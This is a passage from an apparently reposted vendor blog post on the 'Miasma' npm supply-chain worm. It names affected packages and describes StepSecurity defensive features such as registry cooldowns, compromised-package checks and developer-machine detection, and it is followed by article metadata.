versions are held for a configurable window before being served to any developer machine or CI/CD pipeline. When the compromised Miasma packages were published to npm, including `@vapi-ai/server-sdk`\n\n, `ai-sdk-ollama`\n\n, and dozens of packages in the `jagreehal`\n\necosystem, Secure Registry customers were never exposed.\n\n### Detect Compromised Developer Machines\n\n[StepSecurity Dev Machine Guard](https://docs.stepsecurity.io/developer-mdm) gives security teams real-time visibility into npm packages installed across every enrolled developer device. When a malicious package is identified, teams can immediately search by package name and version to discover all impacted machines.\n\n### npm Package Cooldown Check\n\nNewly published npm packages are temporarily blocked during a configurable cooldown window. When a PR introduces or updates to a recently published version, the check automatically fails. Since most malicious packages are identified within hours, this creates a crucial safety buffer. In this case, 57 packages across 286+ malicious versions were published in a rolling campaign lasting under two hours on June 3, so any PR updating to an affected version during the cooldown period would have been blocked automatically.\n\n### npm Package Compromised Updates Check\n\nStepSecurity maintains a real-time database of known malicious and high-risk npm packages, updated continuously, often before official CVEs are filed. If a PR attempts to introduce a compromised package, the check fails and the merge is blocked. All compromised versions from this Miasma campaign, including `@vapi-ai/server-sdk`\n\n, `ai-sdk-ollama`\n\n, and the full `jagreehal`\n\npackage family, were added to this database within minutes of detection.\n\n### npm Package Search\n\nSearch across all PRs in all repositories across your organization to find where a specific package was introduced. When a compromised package is discovered, instantly understand the blast radius: which repos, which PRs, and which teams are affected. This works across pull requests, default branches, and dev machines.", "url": "https://wpnews.pro/news/miasma-npm-supply-chain-attack-self-spreading-worm-via-phantom-gyp", "canonical_source": "https://www.stepsecurity.io/blog/binding-gyp-npm-supply-chain-attack-spreads-like-worm", "published_at": "2026-06-04 09:36:05+00:00", "updated_at": "2026-06-04 09:48:32.845695+00:00", "lang": "en", "topics": ["ai-infrastructure", "ai-tools", "ai-products", "ai-safety", "ai-research"], "entities": ["Vapi.ai", "@vapi-ai/server-sdk", "jagreehal", "ai-sdk-ollama", "Miasma worm", "Red Hat", "@redhat-cloud-services", "liuende501"], "alternates": {"html": "https://wpnews.pro/news/miasma-npm-supply-chain-attack-self-spreading-worm-via-phantom-gyp", "markdown": "https://wpnews.pro/news/miasma-npm-supply-chain-attack-self-spreading-worm-via-phantom-gyp.md", "text": "https://wpnews.pro/news/miasma-npm-supply-chain-attack-self-spreading-worm-via-phantom-gyp.txt", "jsonld": "https://wpnews.pro/news/miasma-npm-supply-chain-attack-self-spreading-worm-via-phantom-gyp.jsonld"}}